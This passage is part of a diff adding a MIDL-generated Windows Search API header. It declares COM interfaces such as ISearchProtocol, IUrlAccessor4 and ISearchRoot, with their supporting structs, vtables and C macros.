+        HRESULT ( STDMETHODCALLTYPE *BindToFilter )( 
+            __RPC__in IUrlAccessor4 * This,
+            /* [out] */ __RPC__deref_out_opt IFilter **ppFilter);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetDisplayUrl )( 
+            __RPC__in IUrlAccessor4 * This,
+            /* [size_is][length_is][out] */ __RPC__out_ecount_part(dwSize, *pdwLength) WCHAR wszDocUrl[  ],
+            /* [in] */ DWORD dwSize,
+            /* [out] */ __RPC__out DWORD *pdwLength);
+        
+        HRESULT ( STDMETHODCALLTYPE *IsDocument )( 
+            __RPC__in IUrlAccessor4 * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetCodePage )( 
+            __RPC__in IUrlAccessor4 * This,
+            /* [size_is][length_is][out] */ __RPC__out_ecount_part(dwSize, *pdwLength) WCHAR wszCodePage[  ],
+            /* [in] */ DWORD dwSize,
+            /* [out] */ __RPC__out DWORD *pdwLength);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetImpersonationSidBlobs )( 
+            __RPC__in IUrlAccessor4 * This,
+            /* [in] */ __RPC__in LPCWSTR pcwszURL,
+            /* [out] */ __RPC__out DWORD *pcSidCount,
+            /* [out] */ __RPC__deref_out_opt BLOB **ppSidBlobs);
+        
+        HRESULT ( STDMETHODCALLTYPE *ShouldIndexItemContent )( 
+            __RPC__in IUrlAccessor4 * This,
+            /* [out] */ __RPC__out BOOL *pfIndexContent);
+        
+        HRESULT ( STDMETHODCALLTYPE *ShouldIndexProperty )( 
+            __RPC__in IUrlAccessor4 * This,
+            /* [in] */ __RPC__in REFPROPERTYKEY key,
+            /* [out] */ __RPC__out BOOL *pfIndexProperty);
+        
+        END_INTERFACE
+    } IUrlAccessor4Vtbl;
+
+    interface IUrlAccessor4
+    {
+        CONST_VTBL struct IUrlAccessor4Vtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define IUrlAccessor4_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define IUrlAccessor4_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define IUrlAccessor4_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define IUrlAccessor4_AddRequestParameter(This,pSpec,pVar)	\
+    ( (This)->lpVtbl -> AddRequestParameter(This,pSpec,pVar) ) 
+
+#define IUrlAccessor4_GetDocFormat(This,wszDocFormat,dwSize,pdwLength)	\
+    ( (This)->lpVtbl -> GetDocFormat(This,wszDocFormat,dwSize,pdwLength) ) 
+
+#define IUrlAccessor4_GetCLSID(This,pClsid)	\
+    ( (This)->lpVtbl -> GetCLSID(This,pClsid) ) 
+
+#define IUrlAccessor4_GetHost(This,wszHost,dwSize,pdwLength)	\
+    ( (This)->lpVtbl -> GetHost(This,wszHost,dwSize,pdwLength) ) 
+
+#define IUrlAccessor4_IsDirectory(This)	\
+    ( (This)->lpVtbl -> IsDirectory(This) ) 
+
+#define IUrlAccessor4_GetSize(This,pllSize)	\
+    ( (This)->lpVtbl -> GetSize(This,pllSize) ) 
+
+#define IUrlAccessor4_GetLastModified(This,pftLastModified)	\
+    ( (This)->lpVtbl -> GetLastModified(This,pftLastModified) ) 
+
+#define IUrlAccessor4_GetFileName(This,wszFileName,dwSize,pdwLength)	\
+    ( (This)->lpVtbl -> GetFileName(This,wszFileName,dwSize,pdwLength) ) 
+
+#define IUrlAccessor4_GetSecurityDescriptor(This,pSD,dwSize,pdwLength)	\
+    ( (This)->lpVtbl -> GetSecurityDescriptor(This,pSD,dwSize,pdwLength) ) 
+
+#define IUrlAccessor4_GetRedirectedURL(This,wszRedirectedURL,dwSize,pdwLength)	\
+    ( (This)->lpVtbl -> GetRedirectedURL(This,wszRedirectedURL,dwSize,pdwLength) ) 
+
+#define IUrlAccessor4_GetSecurityProvider(This,pSPClsid)	\
+    ( (This)->lpVtbl -> GetSecurityProvider(This,pSPClsid) ) 
+
+#define IUrlAccessor4_BindToStream(This,ppStream)	\
+    ( (This)->lpVtbl -> BindToStream(This,ppStream) ) 
+
+#define IUrlAccessor4_BindToFilter(This,ppFilter)	\
+    ( (This)->lpVtbl -> BindToFilter(This,ppFilter) ) 
+
+
+#define IUrlAccessor4_GetDisplayUrl(This,wszDocUrl,dwSize,pdwLength)	\
+    ( (This)->lpVtbl -> GetDisplayUrl(This,wszDocUrl,dwSize,pdwLength) ) 
+
+#define IUrlAccessor4_IsDocument(This)	\
+    ( (This)->lpVtbl -> IsDocument(This) ) 
+
+#define IUrlAccessor4_GetCodePage(This,wszCodePage,dwSize,pdwLength)	\
+    ( (This)->lpVtbl -> GetCodePage(This,wszCodePage,dwSize,pdwLength) ) 
+
+
+#define IUrlAccessor4_GetImpersonationSidBlobs(This,pcwszURL,pcSidCount,ppSidBlobs)	\
+    ( (This)->lpVtbl -> GetImpersonationSidBlobs(This,pcwszURL,pcSidCount,ppSidBlobs) ) 
+
+
+#define IUrlAccessor4_ShouldIndexItemContent(This,pfIndexContent)	\
+    ( (This)->lpVtbl -> ShouldIndexItemContent(This,pfIndexContent) ) 
+
+#define IUrlAccessor4_ShouldIndexProperty(This,key,pfIndexProperty)	\
+    ( (This)->lpVtbl -> ShouldIndexProperty(This,key,pfIndexProperty) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __IUrlAccessor4_INTERFACE_DEFINED__ */
+
+
+/* interface __MIDL_itf_searchapi_0000_0004 */
+/* [local] */ 
+
+#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */
+#pragma endregion
+#include <winapifamily.h>
+#pragma region Desktop Family
+#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
+
+
+
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0004_v0_0_c_ifspec;
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0004_v0_0_s_ifspec;
+
+#ifndef __IOpLockStatus_INTERFACE_DEFINED__
+#define __IOpLockStatus_INTERFACE_DEFINED__
+
+/* interface IOpLockStatus */
+/* [unique][local][helpstring][uuid][object] */ 
+
+
+EXTERN_C const IID IID_IOpLockStatus;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("c731065d-ac80-11d1-8df3-00c04fb6ef4f")
+    IOpLockStatus : public IUnknown
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE IsOplockValid( 
+            /* [annotation][out] */ 
+            _Out_  BOOL *pfIsOplockValid) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE IsOplockBroken( 
+            /* [annotation][out] */ 
+            _Out_  BOOL *pfIsOplockBroken) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetOplockEventHandle( 
+            /* [annotation][out] */ 
+            _Outptr_  HANDLE *phOplockEv) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct IOpLockStatusVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            IOpLockStatus * This,
+            /* [in] */ REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            IOpLockStatus * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            IOpLockStatus * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *IsOplockValid )( 
+            IOpLockStatus * This,
+            /* [annotation][out] */ 
+            _Out_  BOOL *pfIsOplockValid);
+        
+        HRESULT ( STDMETHODCALLTYPE *IsOplockBroken )( 
+            IOpLockStatus * This,
+            /* [annotation][out] */ 
+            _Out_  BOOL *pfIsOplockBroken);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetOplockEventHandle )( 
+            IOpLockStatus * This,
+            /* [annotation][out] */ 
+            _Outptr_  HANDLE *phOplockEv);
+        
+        END_INTERFACE
+    } IOpLockStatusVtbl;
+
+    interface IOpLockStatus
+    {
+        CONST_VTBL struct IOpLockStatusVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define IOpLockStatus_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define IOpLockStatus_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define IOpLockStatus_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define IOpLockStatus_IsOplockValid(This,pfIsOplockValid)	\
+    ( (This)->lpVtbl -> IsOplockValid(This,pfIsOplockValid) ) 
+
+#define IOpLockStatus_IsOplockBroken(This,pfIsOplockBroken)	\
+    ( (This)->lpVtbl -> IsOplockBroken(This,pfIsOplockBroken) ) 
+
+#define IOpLockStatus_GetOplockEventHandle(This,phOplockEv)	\
+    ( (This)->lpVtbl -> GetOplockEventHandle(This,phOplockEv) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __IOpLockStatus_INTERFACE_DEFINED__ */
+
+
+#ifndef __ISearchProtocolThreadContext_INTERFACE_DEFINED__
+#define __ISearchProtocolThreadContext_INTERFACE_DEFINED__
+
+/* interface ISearchProtocolThreadContext */
+/* [unique][local][helpstring][uuid][object] */ 
+
+
+EXTERN_C const IID IID_ISearchProtocolThreadContext;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("c73106e1-ac80-11d1-8df3-00c04fb6ef4f")
+    ISearchProtocolThreadContext : public IUnknown
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE ThreadInit( void) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE ThreadShutdown( void) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE ThreadIdle( 
+            /* [in] */ DWORD dwTimeElaspedSinceLastCallInMS) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct ISearchProtocolThreadContextVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            ISearchProtocolThreadContext * This,
+            /* [in] */ REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            ISearchProtocolThreadContext * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            ISearchProtocolThreadContext * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *ThreadInit )( 
+            ISearchProtocolThreadContext * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *ThreadShutdown )( 
+            ISearchProtocolThreadContext * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *ThreadIdle )( 
+            ISearchProtocolThreadContext * This,
+            /* [in] */ DWORD dwTimeElaspedSinceLastCallInMS);
+        
+        END_INTERFACE
+    } ISearchProtocolThreadContextVtbl;
+
+    interface ISearchProtocolThreadContext
+    {
+        CONST_VTBL struct ISearchProtocolThreadContextVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define ISearchProtocolThreadContext_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define ISearchProtocolThreadContext_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define ISearchProtocolThreadContext_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define ISearchProtocolThreadContext_ThreadInit(This)	\
+    ( (This)->lpVtbl -> ThreadInit(This) ) 
+
+#define ISearchProtocolThreadContext_ThreadShutdown(This)	\
+    ( (This)->lpVtbl -> ThreadShutdown(This) ) 
+
+#define ISearchProtocolThreadContext_ThreadIdle(This,dwTimeElaspedSinceLastCallInMS)	\
+    ( (This)->lpVtbl -> ThreadIdle(This,dwTimeElaspedSinceLastCallInMS) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __ISearchProtocolThreadContext_INTERFACE_DEFINED__ */
+
+
+/* interface __MIDL_itf_searchapi_0000_0006 */
+/* [local] */ 
+
+#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */
+#pragma endregion
+#include <winapifamily.h>
+#pragma region Desktop Family
+#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
+
+
+#pragma pack(8)
+typedef struct _TIMEOUT_INFO
+    {
+    DWORD dwSize;
+    DWORD dwConnectTimeout;
+    DWORD dwDataTimeout;
+    } 	TIMEOUT_INFO;
+
+typedef 
+enum _PROXY_ACCESS
+    {
+        PROXY_ACCESS_PRECONFIG	= 0,
+        PROXY_ACCESS_DIRECT	= ( PROXY_ACCESS_PRECONFIG + 1 ) ,
+        PROXY_ACCESS_PROXY	= ( PROXY_ACCESS_DIRECT + 1 ) 
+    } 	PROXY_ACCESS;
+
+typedef struct _PROXY_INFO
+    {
+    DWORD dwSize;
+    LPCWSTR pcwszUserAgent;
+    PROXY_ACCESS paUseProxy;
+    BOOL fLocalBypass;
+    DWORD dwPortNumber;
+    LPCWSTR pcwszProxyName;
+    LPCWSTR pcwszBypassList;
+    } 	PROXY_INFO;
+
+typedef 
+enum _AUTH_TYPE
+    {
+        eAUTH_TYPE_ANONYMOUS	= 0,
+        eAUTH_TYPE_NTLM	= ( eAUTH_TYPE_ANONYMOUS + 1 ) ,
+        eAUTH_TYPE_BASIC	= ( eAUTH_TYPE_NTLM + 1 ) 
+    } 	AUTH_TYPE;
+
+typedef struct _AUTHENTICATION_INFO
+    {
+    DWORD dwSize;
+    AUTH_TYPE atAuthenticationType;
+    LPCWSTR pcwszUser;
+    LPCWSTR pcwszPassword;
+    } 	AUTHENTICATION_INFO;
+
+typedef struct _INCREMENTAL_ACCESS_INFO
+    {
+    DWORD dwSize;
+    FILETIME ftLastModifiedTime;
+    } 	INCREMENTAL_ACCESS_INFO;
+
+typedef struct _ITEM_INFO
+    {
+    DWORD dwSize;
+    LPCWSTR pcwszFromEMail;
+    LPCWSTR pcwszApplicationName;
+    LPCWSTR pcwszCatalogName;
+    LPCWSTR pcwszContentClass;
+    } 	ITEM_INFO;
+
+
+
+
+
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0006_v0_0_c_ifspec;
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0006_v0_0_s_ifspec;
+
+#ifndef __ISearchProtocol_INTERFACE_DEFINED__
+#define __ISearchProtocol_INTERFACE_DEFINED__
+
+/* interface ISearchProtocol */
+/* [unique][helpstring][uuid][local][object] */ 
+
+
+EXTERN_C const IID IID_ISearchProtocol;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("c73106ba-ac80-11d1-8df3-00c04fb6ef4f")
+    ISearchProtocol : public IUnknown
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE Init( 
+            /* [in] */ TIMEOUT_INFO *pTimeoutInfo,
+            /* [in] */ IProtocolHandlerSite *pProtocolHandlerSite,
+            /* [in] */ PROXY_INFO *pProxyInfo) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE CreateAccessor( 
+            /* [in] */ LPCWSTR pcwszURL,
+            /* [in] */ AUTHENTICATION_INFO *pAuthenticationInfo,
+            /* [in] */ INCREMENTAL_ACCESS_INFO *pIncrementalAccessInfo,
+            /* [in] */ ITEM_INFO *pItemInfo,
+            /* [out] */ IUrlAccessor **ppAccessor) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE CloseAccessor( 
+            /* [in] */ IUrlAccessor *pAccessor) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE ShutDown( void) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct ISearchProtocolVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            ISearchProtocol * This,
+            /* [in] */ REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            ISearchProtocol * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            ISearchProtocol * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *Init )( 
+            ISearchProtocol * This,
+            /* [in] */ TIMEOUT_INFO *pTimeoutInfo,
+            /* [in] */ IProtocolHandlerSite *pProtocolHandlerSite,
+            /* [in] */ PROXY_INFO *pProxyInfo);
+        
+        HRESULT ( STDMETHODCALLTYPE *CreateAccessor )( 
+            ISearchProtocol * This,
+            /* [in] */ LPCWSTR pcwszURL,
+            /* [in] */ AUTHENTICATION_INFO *pAuthenticationInfo,
+            /* [in] */ INCREMENTAL_ACCESS_INFO *pIncrementalAccessInfo,
+            /* [in] */ ITEM_INFO *pItemInfo,
+            /* [out] */ IUrlAccessor **ppAccessor);
+        
+        HRESULT ( STDMETHODCALLTYPE *CloseAccessor )( 
+            ISearchProtocol * This,
+            /* [in] */ IUrlAccessor *pAccessor);
+        
+        HRESULT ( STDMETHODCALLTYPE *ShutDown )( 
+            ISearchProtocol * This);
+        
+        END_INTERFACE
+    } ISearchProtocolVtbl;
+
+    interface ISearchProtocol
+    {
+        CONST_VTBL struct ISearchProtocolVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define ISearchProtocol_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define ISearchProtocol_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define ISearchProtocol_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define ISearchProtocol_Init(This,pTimeoutInfo,pProtocolHandlerSite,pProxyInfo)	\
+    ( (This)->lpVtbl -> Init(This,pTimeoutInfo,pProtocolHandlerSite,pProxyInfo) ) 
+
+#define ISearchProtocol_CreateAccessor(This,pcwszURL,pAuthenticationInfo,pIncrementalAccessInfo,pItemInfo,ppAccessor)	\
+    ( (This)->lpVtbl -> CreateAccessor(This,pcwszURL,pAuthenticationInfo,pIncrementalAccessInfo,pItemInfo,ppAccessor) ) 
+
+#define ISearchProtocol_CloseAccessor(This,pAccessor)	\
+    ( (This)->lpVtbl -> CloseAccessor(This,pAccessor) ) 
+
+#define ISearchProtocol_ShutDown(This)	\
+    ( (This)->lpVtbl -> ShutDown(This) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __ISearchProtocol_INTERFACE_DEFINED__ */
+
+
+#ifndef __ISearchProtocol2_INTERFACE_DEFINED__
+#define __ISearchProtocol2_INTERFACE_DEFINED__
+
+/* interface ISearchProtocol2 */
+/* [unique][helpstring][uuid][local][object] */ 
+
+
+EXTERN_C const IID IID_ISearchProtocol2;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("7789F0B2-B5B2-4722-8B65-5DBD150697A9")
+    ISearchProtocol2 : public ISearchProtocol
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE CreateAccessorEx( 
+            /* [in] */ LPCWSTR pcwszURL,
+            /* [in] */ AUTHENTICATION_INFO *pAuthenticationInfo,
+            /* [in] */ INCREMENTAL_ACCESS_INFO *pIncrementalAccessInfo,
+            /* [in] */ ITEM_INFO *pItemInfo,
+            /* [in] */ const BLOB *pUserData,
+            /* [out] */ IUrlAccessor **ppAccessor) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct ISearchProtocol2Vtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            ISearchProtocol2 * This,
+            /* [in] */ REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            ISearchProtocol2 * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            ISearchProtocol2 * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *Init )( 
+            ISearchProtocol2 * This,
+            /* [in] */ TIMEOUT_INFO *pTimeoutInfo,
+            /* [in] */ IProtocolHandlerSite *pProtocolHandlerSite,
+            /* [in] */ PROXY_INFO *pProxyInfo);
+        
+        HRESULT ( STDMETHODCALLTYPE *CreateAccessor )( 
+            ISearchProtocol2 * This,
+            /* [in] */ LPCWSTR pcwszURL,
+            /* [in] */ AUTHENTICATION_INFO *pAuthenticationInfo,
+            /* [in] */ INCREMENTAL_ACCESS_INFO *pIncrementalAccessInfo,
+            /* [in] */ ITEM_INFO *pItemInfo,
+            /* [out] */ IUrlAccessor **ppAccessor);
+        
+        HRESULT ( STDMETHODCALLTYPE *CloseAccessor )( 
+            ISearchProtocol2 * This,
+            /* [in] */ IUrlAccessor *pAccessor);
+        
+        HRESULT ( STDMETHODCALLTYPE *ShutDown )( 
+            ISearchProtocol2 * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *CreateAccessorEx )( 
+            ISearchProtocol2 * This,
+            /* [in] */ LPCWSTR pcwszURL,
+            /* [in] */ AUTHENTICATION_INFO *pAuthenticationInfo,
+            /* [in] */ INCREMENTAL_ACCESS_INFO *pIncrementalAccessInfo,
+            /* [in] */ ITEM_INFO *pItemInfo,
+            /* [in] */ const BLOB *pUserData,
+            /* [out] */ IUrlAccessor **ppAccessor);
+        
+        END_INTERFACE
+    } ISearchProtocol2Vtbl;
+
+    interface ISearchProtocol2
+    {
+        CONST_VTBL struct ISearchProtocol2Vtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define ISearchProtocol2_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define ISearchProtocol2_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define ISearchProtocol2_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define ISearchProtocol2_Init(This,pTimeoutInfo,pProtocolHandlerSite,pProxyInfo)	\
+    ( (This)->lpVtbl -> Init(This,pTimeoutInfo,pProtocolHandlerSite,pProxyInfo) ) 
+
+#define ISearchProtocol2_CreateAccessor(This,pcwszURL,pAuthenticationInfo,pIncrementalAccessInfo,pItemInfo,ppAccessor)	\
+    ( (This)->lpVtbl -> CreateAccessor(This,pcwszURL,pAuthenticationInfo,pIncrementalAccessInfo,pItemInfo,ppAccessor) ) 
+
+#define ISearchProtocol2_CloseAccessor(This,pAccessor)	\
+    ( (This)->lpVtbl -> CloseAccessor(This,pAccessor) ) 
+
+#define ISearchProtocol2_ShutDown(This)	\
+    ( (This)->lpVtbl -> ShutDown(This) ) 
+
+
+#define ISearchProtocol2_CreateAccessorEx(This,pcwszURL,pAuthenticationInfo,pIncrementalAccessInfo,pItemInfo,pUserData,ppAccessor)	\
+    ( (This)->lpVtbl -> CreateAccessorEx(This,pcwszURL,pAuthenticationInfo,pIncrementalAccessInfo,pItemInfo,pUserData,ppAccessor) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __ISearchProtocol2_INTERFACE_DEFINED__ */
+
+
+#ifndef __IProtocolHandlerSite_INTERFACE_DEFINED__
+#define __IProtocolHandlerSite_INTERFACE_DEFINED__
+
+/* interface IProtocolHandlerSite */
+/* [unique][helpstring][uuid][local][object] */ 
+
+
+EXTERN_C const IID IID_IProtocolHandlerSite;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("0b63e385-9ccc-11d0-bcdb-00805fccce04")
+    IProtocolHandlerSite : public IUnknown
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE GetFilter( 
+            /* [in] */ CLSID *pclsidObj,
+            /* [in] */ LPCWSTR pcwszContentType,
+            /* [in] */ LPCWSTR pcwszExtension,
+            /* [out] */ IFilter **ppFilter) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct IProtocolHandlerSiteVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            IProtocolHandlerSite * This,
+            /* [in] */ REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            IProtocolHandlerSite * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            IProtocolHandlerSite * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetFilter )( 
+            IProtocolHandlerSite * This,
+            /* [in] */ CLSID *pclsidObj,
+            /* [in] */ LPCWSTR pcwszContentType,
+            /* [in] */ LPCWSTR pcwszExtension,
+            /* [out] */ IFilter **ppFilter);
+        
+        END_INTERFACE
+    } IProtocolHandlerSiteVtbl;
+
+    interface IProtocolHandlerSite
+    {
+        CONST_VTBL struct IProtocolHandlerSiteVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define IProtocolHandlerSite_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define IProtocolHandlerSite_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define IProtocolHandlerSite_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define IProtocolHandlerSite_GetFilter(This,pclsidObj,pcwszContentType,pcwszExtension,ppFilter)	\
+    ( (This)->lpVtbl -> GetFilter(This,pclsidObj,pcwszContentType,pcwszExtension,ppFilter) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __IProtocolHandlerSite_INTERFACE_DEFINED__ */
+
+
+/* interface __MIDL_itf_searchapi_0000_0009 */
+/* [local] */ 
+
+
+#pragma pack()
+#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */
+#pragma endregion
+#include <winapifamily.h>
+#pragma region Desktop Family
+#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
+
+
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0009_v0_0_c_ifspec;
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0009_v0_0_s_ifspec;
+
+#ifndef __ISearchRoot_INTERFACE_DEFINED__
+#define __ISearchRoot_INTERFACE_DEFINED__
+
+/* interface ISearchRoot */
+/* [unique][uuid][object] */ 
+
+
+EXTERN_C const IID IID_ISearchRoot;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("04C18CCF-1F57-4CBD-88CC-3900F5195CE3")
+    ISearchRoot : public IUnknown
+    {
+    public:
+        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Schedule( 
+            /* [string][in] */ __RPC__in_string LPCWSTR pszTaskArg) = 0;
+        
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Schedule( 
+            /* [string][retval][out] */ __RPC__deref_out_opt_string LPWSTR *ppszTaskArg) = 0;
+        
+        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_RootURL( 
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL) = 0;
+        
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RootURL( 
+            /* [string][retval][out] */ __RPC__deref_out_opt_string LPWSTR *ppszURL) = 0;
+        
+        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_IsHierarchical( 
+            /* [in] */ BOOL fIsHierarchical) = 0;
+        
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_IsHierarchical( 
+            /* [retval][out] */ __RPC__out BOOL *pfIsHierarchical) = 0;
+        
+        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ProvidesNotifications( 
+            /* [in] */ BOOL fProvidesNotifications) = 0;
+        
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ProvidesNotifications( 
+            /* [retval][out] */ __RPC__out BOOL *pfProvidesNotifications) = 0;
+        
+        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_UseNotificationsOnly( 
+            /* [in] */ BOOL fUseNotificationsOnly) = 0;
+        
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_UseNotificationsOnly( 
+            /* [retval][out] */ __RPC__out BOOL *pfUseNotificationsOnly) = 0;
+        
+        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_EnumerationDepth( 
+            /* [in] */ DWORD dwDepth) = 0;
+        
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EnumerationDepth( 
+            /* [retval][out] */ __RPC__out DWORD *pdwDepth) = 0;
+        
+        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_HostDepth( 
+            /* [in] */ DWORD dwDepth) = 0;
+        
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_HostDepth( 
+            /* [retval][out] */ __RPC__out DWORD *pdwDepth) = 0;
+        
+        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_FollowDirectories( 
+            /* [in] */ BOOL fFollowDirectories) = 0;
+        
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_FollowDirectories( 
+            /* [retval][out] */ __RPC__out BOOL *pfFollowDirectories) = 0;
+        
+        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_AuthenticationType( 
+            /* [in] */ AUTH_TYPE authType) = 0;
+        
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_AuthenticationType( 
